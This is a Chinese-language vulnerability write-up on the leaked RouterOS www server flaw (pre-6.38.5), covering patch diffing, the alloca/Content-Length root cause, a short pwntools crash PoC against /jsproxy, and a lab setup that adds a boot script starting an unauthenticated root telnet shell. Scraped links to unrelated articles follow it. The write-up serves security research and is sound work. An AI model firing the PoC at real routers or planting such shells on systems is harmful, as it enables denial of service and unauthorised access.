一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
本文分析 Vault 7 中泄露的 RouterOs 漏洞。漏洞影响 6.38.5 以下的版本。
What's new in 6.38.5 (2017-Mar-09 11:32):
!) www - fixed http server vulnerability;
文中涉及的文件:
链接: https://pan.baidu.com/s/1i5oznSh 密码: 9r43
正文
补丁对比&&漏洞分析
首先我们先来看看漏洞的原理,漏洞位于 www 文件。
我们需要拿到 www 文件, 直接用 binwalk 提取出 router os 镜像文件的所有内容。
binwalk -Me mikrotik-6.38.4.iso
然后在提取出的文件中搜索即可。

同样的方法提取出 mikrotik-6.38.5.iso 中的 www 文件。
然后使用 diaphora 插件 对 这两个文件进行补丁比对 (因为 6.38.5 正好修复了漏洞)
首先打开 www_6384 (6.38.4版本的文件), 然后使用 diaphora 导出 sqlite 数据库, diaphora 使用这个数据库文件进行 diff 操作。

然后打开 www_6385 (6.38.5版本的文件),使用 diaphora 进行 diff

找到相似度比较低的函数

选中要查看差异的 条目 ,然后右键

可以选择查看 diff 的选项,使用 diff pseudo-code 就可以对 伪c 代码 diff

对比 diff 可以发现, 修复漏洞后的程序 没有了 alloca, 而是直接使用 string::string 构造了 字符串。
下面直接分析 www_6384 .

获取 content-length 的值之后,就传给了 alloca 分配内存。
这里和前文不同的是,这里 alloca的参数是 无符号数。

所以我们能修改的是栈顶以上的数据,触发崩溃的poc.
poc
from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s1.send(makeHeader(-1) + "A" * 1000)
注:ip 按实际情况设置
调试环境搭建&&Poc测试
首先我们得先安装 routeros, 使用 vmware 加载 iso

注: routeros 是 32 位的, 硬盘类型要为 ide 否则会找不到驱动。
然后开启虚拟机,就会进入

按 a选择所有 ,然后按 i 进行安装,然后一直输入 y 确定即可。

安装完成后,重启,就会进入 登录界面了,使用 admin 和空密码登录即可。
然后输入 setup ,接着输入 a, 按照提示配置好 ip 地址。


然后就可以使用 ssh 登录了。

Router Os 对 linux 做了大量的裁剪,所以我们需要给系统增加一些文件方便进行调试,busybox 和 gdbserver (文件在百度云内)。
要增加文件需要使用一个 live-cd 版的 linux 挂载 router os 的磁盘分区,增加文件。这里使用了 ubuntu.
关闭虚拟机,设置光盘镜像,然后修改引导为 光盘即可进入 live-cd。

选择 try ubuntu, 进入系统后,挂载 /dev/sda1 和 /dev/sda2

把 busybox 和 gdbserver 放到 bin 目录(不是在/dev/sda1 就是在 /dev/sda2 )下,然后在 etc 目录下新建 rc.d/run.d/S99own , 内容为
#!/bin/bash
mkdir /ram/mybin
/flash/bin/busybox-i686 --install -s /ram/mybin
export PATH=/ram/mybin:$PATH
telnetd -p 23000 -l bash

umount 然后去掉光盘, 重新启动,应该就可以 telnet 192.168.2.124 23000 连接了。

此时使用
gdbserver.i686 192.168.2.124:5050 --attach $(pidof www)
如图

然后 gdb 连上去。
target remote 192.168.2.124:5050

运行poc,程序崩溃。

参考:
https://github.com/BigNerd95/Chimay-Red/
一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc的更多相关文章
- PhpStorm Xdebug远程调试环境搭建原理分析及问题排查
2017年05月26日 经验心得 目录 一. 环境介绍 二. 远程环境配置 2.2 Xdebug安装 2.3 配置 三. 本地phpstorm配置 3.1 下载远程代码 3.2 添加php解释器 ...
- arm64 调试环境搭建及 ROP 实战
前言 比赛的一个 arm 64 位的 pwn 题,通过这个题实践了 arm 64 下的 rop 以及调试环境搭建的方式. 题目文件 https://gitee.com/hac425/blog_data ...
- Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建
Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建 由于公司里的Solr调试都是用远程jpda进行的,但是家里只有一台电脑所以不能jpda进行调试,这是因为jpda的端口冲突.所以 ...
- 《天书夜读:从汇编语言到windows内核编程》四 windows内核调试环境搭建
1) 基础篇是讲理论的,先跳过去,看不到代码运行的效果要去记代码是一个痛苦的事情.这里先跳入探索篇.其实今天的确也很痛苦,这作者对驱动开发的编译与调试环境介绍得太模糊了,我是各种尝试,对这个环境的搭建 ...
- Vue源码学习(一):调试环境搭建
最近开始学习Vue源码,第一步就是要把调试环境搭好,这个过程遇到小坑着实费了点功夫,在这里记下来 一.调试环境搭建过程 1.安装node.js,具体不展开 2.下载vue项目源码,git或svn等均可 ...
- i.MX RT600之DSP调试环境搭建篇
恩智浦的i.MX RT600是跨界处理器产品,同样也是i.MX RTxxx系列的开山之作.不同于i.MX RT1xxx系列单片机,i.MX RT600 采用了双核架构,将新一代Cortex-M33内核 ...
- Windows下Lua+Redis 断点调试环境搭建==Linux下类似
Lua+Redis 断点调试环境搭建 windows环境,使用Redis,写lua脚本头疼的问题之一不能对脚本断点调试,google加上自己的摸索,终于搞定. 1.下载ZeroBraneStudio, ...
- Windebug双机调试环境搭建
Windebug双机调试环境搭建 开始进行内核编程/驱动编程的调试工作是非常烦人的,由于程序运行与内核层不受操作系统的管控,所以容易引起主机蓝屏和崩溃是常有的事.这也就使得内核程序的调试成了一大 ...
- HI3518E平台ISP调试环境搭建
海思的SDK提供了ISP调试的相关工具,降低了IPC的ISP调试的难度.初次搭建ISP调试环境,记录一下. SDK版本:Hi3518_MPP_V1.0.A.0 硬件平台:HI3518E_OV9732 ...
随机推荐
- Maven与Hudson集成
Hudson是一款优秀的持续集成产品,本文阐述Maven于Hudson的集成 Hudson的下载和安装 Hudson有两种安装模式,1:自运行(Hudson内建netty容器),2:放到如tomc ...
- javascript保存excel
function saveToExcel() { var cind=1; try { var xls = new ActiveXObject ("Excel.Application" ...
- openssl生成RSA格式的公私钥,并转为pkcs8格式
第一步:生成私钥,这里我们指定私钥的长度为2048 openssl genrsa -out rsa_private_key.pem 2048 第二步:根据私钥生成对应的公钥: openssl rsa ...
- spring boot启动加载数据
实际应用中,我们会有在项目服务启动的时候就去加载一些数据或做一些事情这样的需求.为了解决这样的问题,spring Boot 为我们提供了一个方法,通过实现接口 CommandLineRunner 来实 ...
- Git 命令操作记录
1.安装完git软件之后(win系统的) 1)配置用户名密码: 设置本地机器默认commit的昵称与Email. 请使用有意义的名字与email. git config --global user.n ...
- GRU
GRU模型(比LSTM减少了计算量) LSTM的模型,LSTM的重复网络模块的结构很复杂,它实现了三个门计算,即遗忘门.输入门和输出门. 而GRU模型如下,它只有两个门了,分别为更新门和重置门,即图中 ...
- Ubuntu系统下开发人员常用工具、命令和技巧
在新的Ubuntu系统安装完成后,开发人员一般需要下载.安装一些必备的工具,并进行一系列的环境配置等操作,本文对此做出一些总结,方便今后新开发环境的初始化. 一.文件常用安装目录和命令 一般的deb包 ...
- crontab的用法
转载于:点击打开链接 cron是一个linux下的定时执行工具,可以在无需人工干预的情况下运行作业. 由于Cron 是Linux的内置服务,但它不自动起来,可以用以下的方法启动.关闭这个服务: / ...
- Linux用户信息查询
1 查询目前已登录的用户信息w 或者 who [@bjzw_11_210 ~]# w :: up days, :, users, load average: 0.03, 0.04, 0.00 USER ...
- 正则表达式匹配可以更快更简单 (but is slow in Java, Perl, PHP, Python, Ruby, ...)
source: https://swtch.com/~rsc/regexp/regexp1.html translated by trav, travmymail@gmail.com 引言 下图是两种 ...